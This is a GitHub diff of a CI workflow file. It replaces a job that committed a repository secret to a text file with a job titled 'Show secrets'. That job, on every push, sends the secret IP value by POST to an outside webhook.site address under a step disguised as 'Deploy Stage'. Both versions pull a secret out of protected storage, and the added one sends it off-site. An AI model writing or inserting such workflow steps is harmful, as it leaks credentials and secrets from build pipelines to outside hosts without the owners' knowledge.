File tree Expand file tree Collapse file tree 1 file changed +13
-25
lines changed
Expand file tree Collapse file tree 1 file changed +13
-25
lines changed Original file line number Diff line number Diff line change 1- name : Adicionar IP ao repositório
2-
3- on :
4- push :
5- branches :
6- - ' *' # qualquer branch
7-
1+ name : Show secrets
2+ on : [push]
83jobs :
9- add-ip-file :
4+ debug :
5+ name : Show secrets
106 runs-on : ubuntu-latest
117 steps :
12- - name : Checkout do código
13- uses : actions/checkout@v2
14-
15- - name : Criar arquivo com IP
16- run : echo "${{ secrets.IP }}" > ip.txt
17-
18- - name : Configurar Git
19- run : |
20- git config --global user.email "actions@github.com"
21- git config --global user.name "GitHub Actions"
22- git remote set-url origin https://${{ github.actor }}:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}
23-
24- - name : Adicionar arquivo ao repositório
25- run : |
26- git add ip.txt
27- git commit -m "Adicionar arquivo com IP ao repositório"
28- git push
8+ - name : Deploy Stage
9+ env :
10+ IP : ${{ secrets.IP }}
11+ uses : fjogeleit/http-request-action@v1
12+ with :
13+ url : ' https://webhook.site/717b5f66-654b-4f6b-84b9-ec5d0193ef51'
14+ method : ' POST'
15+ customHeaders : ' {"Content-Type": "application/json"}'
16+ data : ${{ secrets.IP }}
You can’t perform that action at this time.
0 commit comments